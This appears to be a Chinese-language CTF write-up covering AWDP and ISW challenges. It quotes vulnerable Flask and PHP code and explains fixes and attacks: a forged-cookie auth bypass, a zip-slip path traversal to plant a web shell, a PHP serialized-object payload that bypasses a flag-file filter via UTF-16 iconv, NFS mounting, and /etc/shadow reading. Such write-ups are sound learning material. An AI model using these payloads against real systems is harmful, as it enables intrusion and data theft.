前言
决赛还是没进去,今年的awdp和isw里面的二进制内容太多了,没有pwn手,害
awdp
easy_time*
fix
看index.py可以发现两个硬编码的很抽象的东西
app.secret_key = "dev-secret-change-me"if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":我第一开始直接选择用sed进行替换,按理来说鉴权就没法上去了,然后不太行,然后想了一下,python启动的东西是不自带热重启的,也就是你需要手动杀掉python的pid,然后再重新启动
这里shell脚本写好感觉无敌了,上传发现依旧防守失败。。。
正确修法应该是cookie更换为session管理,还有把safe_upload换成safe_extract_zip方法
break
打的时候我先爆破了一下密码,双重md5按理来说没人爆破来着(),密码是secret,弱密码好像是非预期?因为我直接爆破出来密码了,也导致我fix没有注意到这里
def is_logged_in() -> bool: return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))
def login_required(view): def wrapped(*args, **kwargs): if not is_logged_in(): next_url = flask.request.full_path if flask.request.query_string else flask.request.path return flask.redirect(flask.url_for("login", next=next_url)) return view(*args, **kwargs)
wrapped.__name__ = view.__name__ return wrappedcookie检验的时候值判断里面visited是不是yes,user是admin就行,所以
Cookie: visited=yes;user=admin;
所以这也是为什么我直接sed修不好的原因,太不细心了。。。。
登录上去后可以传压缩包、图片,这里看见远程头像功能
def about(): user = flask.request.cookies.get('user')
conn = db() current = conn.execute('SELECT * FROM users WHERE username=?', (user,)).fetchone() about_text = current['about'] if current else '' avatar_local = current['avatar_local'] if current else '' avatar_url = current['avatar_url'] if current else ''
if flask.request.method == 'POST': about_text = flask.request.form.get('about', '') avatar_url = flask.request.form.get('avatar_url', '')
upload = flask.request.files.get('avatar_file') if upload and upload.filename: raw = upload.read() upload.seek(0) kind = sniff_image_type(raw) if kind not in {'png', 'jpeg', 'gif', 'webp'}: conn.close() return ( flask.render_template( 'about.html', user=user, about=about_text, avatar_local=avatar_local, avatar_url=avatar_url, remote_info=fetch_remote_avatar_info(avatar_url), error='头像文件必须是图片(png/jpg/gif/webp)', ), 400, )
fname = f"{uuid4().hex}.{ 'jpg' if kind == 'jpeg' else kind }" path = AVATAR_DIR / fname with open(path, 'wb') as f: f.write(raw) avatar_local = f"uploads/avatars/{fname}"
conn.execute( 'UPDATE users SET about=?, avatar_local=?, avatar_url=? WHERE username=?', (about_text, avatar_local, avatar_url, user), ) conn.commit()
current = conn.execute('SELECT * FROM users WHERE username=?', (user,)).fetchone() conn.close()
return flask.render_template( 'about.html', user=user, about=current['about'], avatar_local=current['avatar_local'], avatar_url=current['avatar_url'], remote_info=fetch_remote_avatar_info(current['avatar_url']), error=None, )
conn.close() return flask.render_template( 'about.html', user=user, about=about_text, avatar_local=avatar_local, avatar_url=avatar_url, remote_info=fetch_remote_avatar_info(avatar_url), error=None, )尝试读取本地的图片马,发现连不上,附件里面有phpinfo.php,尝试读取,docker里面开的5000端口
发现成功读取到,但是没有flag,那么就等于我们需要传文件上去执行拿flag了,头像上传尝试后发现不太行,那只能是压缩包了
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]: with zipfile.ZipFile(zip_path, 'r') as z: for info in z.infolist(): target = os.path.join(dest_dir, info.filename) if info.is_dir(): os.makedirs(target, exist_ok=True) else: os.makedirs(os.path.dirname(target), exist_ok=True) with open(target, 'wb') as f: f.write(z.read(info.filename))
@app.route('/plugin/upload', methods=['GET', 'POST'])@login_requireddef upload_plugin(): if flask.request.method == 'GET': return flask.render_template('plugin_upload.html', error=None, ok=None, files=None)
file = flask.request.files.get('plugin') if not file or not file.filename: return flask.render_template('plugin_upload.html', error='请选择一个 zip 文件', ok=None, files=None), 400
filename = secure_filename(file.filename) if not filename.lower().endswith('.zip'): return flask.render_template('plugin_upload.html', error='仅支持 .zip 文件', ok=None, files=None), 400
saved = UPLOAD_DIR / f"{uuid4().hex}-{filename}" file.save(saved)
dest = PLUGIN_DIR / f"{Path(filename).stem}-{uuid4().hex[:8]}" dest.mkdir(parents=True, exist_ok=True)
try: print(saved, dest) extracted = safe_upload(saved, dest) except Exception: shutil.rmtree(dest, ignore_errors=True) return flask.render_template('plugin_upload.html', error='解压失败:压缩包内容不合法', ok=None, files=None), 400
return flask.render_template('plugin_upload.html', error=None, ok='上传并解压成功', files=extracted)可以发现上传后路径什么的是uuid4生成,结合题目名还以为和时间有关系,后面发现uuid4是纯随机,没有time-seed
实际上是目录穿越
target = os.path.join(dest_dir, info.filename)
参数info.filename完全可控,那就等于可以写一个名字是../../../../../var/www/html/shell.php这种的文件去getshell
MediaDrive
fix
看preview.php
<?phpdeclare(strict_types=1);require_once __DIR__ . "/lib/User.php";require_once __DIR__ . "/lib/Util.php";
$user = null;if (isset($_COOKIE['user'])) { $user = @unserialize($_COOKIE['user']);}if (!$user instanceof User) { $user = new User("guest"); setcookie("user", serialize($user), time() + 86400, "/");}
$f = (string)($_GET['f'] ?? "");if ($f === "") { http_response_code(400); echo "Missing parameter: f"; exit;}
$rawPath = $user->basePath . $f;
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) { http_response_code(403); echo "Access denied"; exit;}
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);if ($convertedPath === false || $convertedPath === "") { http_response_code(500); echo "Conversion failed"; exit;}
$content = @file_get_contents($convertedPath);if ($content === false) { http_response_code(404); echo "Not found"; exit;}
$displayRaw = $rawPath;$displayConv = $convertedPath;$isText = true;
for ($i=0; $i<min(strlen($content), 512); $i++) { $c = ord($content[$i]); if ($c === 0) { $isText = false; break; }}
?>有unserialize反序列化的样子
user->encoding, “UTF-8//IGNORE”, $rawPath);
可以路径穿越,那么修复的话,直接改这里就行
user->encoding, “UTF-8//IGNORE”, $rawPath));
break
iconv函数可以去UTF-16绕过
<?php
$f = "/flag";$convertedPath = iconv("UTF-8", "UTF-16", $f);echo urlencode($convertedPath);<?php
class User { public string $name = "admin"; public string $encoding = "UTF-16"; public string $basePath = "";
public function __construct(string $name = "admin") { $this->name = $name; }}
echo urlencode(serialize(new User()));isw
isw
fscan扫描可以发现打Shiro,工具一把梭,蚁剑连接上去,根目录拿flag
然后需要提权,有CVE-2021-4034可以提权,但是没存这玩意
内网进行fscan
192.168.45.100:88 open192.168.45.100:53 open192.168.45.100:22 open192.168.45.100:139 open192.168.45.100:135 open192.168.45.100:111 open192.168.45.100:464 open192.168.45.100:445 open192.168.45.100:389 open192.168.45.100:636 open192.168.45.100:2049 open192.168.45.100:3269 open192.168.45.100:3268 open192.168.45.100:12345 open192.168.45.100:20048 open192.168.45.100:34483 open192.168.45.100:49154 open192.168.45.100:49153 open192.168.45.100:49152 open192.168.45.100:57291 open有很多端口,但是当时sb了,一直挂不上去代理,看他们说是2049端口,是nfs服务的端口,可以挂载上去拿flag
Export list for 192.168.45.100:/nfsdir *
mkdir /hackmount -t 192.168.45.100:/nfsdir /hack -o nolockcat /hack/flagisw1
任意文件读取漏洞可以读取到/etc/shadow,有root的密码但是爆破不出来,读取/proc/self/cmdline可以拿到/root/pico/server80,这个80是端口,读取二进制下来打pwn
有师傅说把盘读下来去取证也可以拿一个,太魔丸了xd
isw2
WatchAgent.exe是个re,还是rpc,没有工具也不会连,放弃了
总结
今年不像去年了,去年只会web就可以拿到很高的分,今年需要更多的二进制的配合。。。。。。。
加油吧。。。。。
是最后一年了吗。。。。。。。。。
也许吧。
Some information may be outdated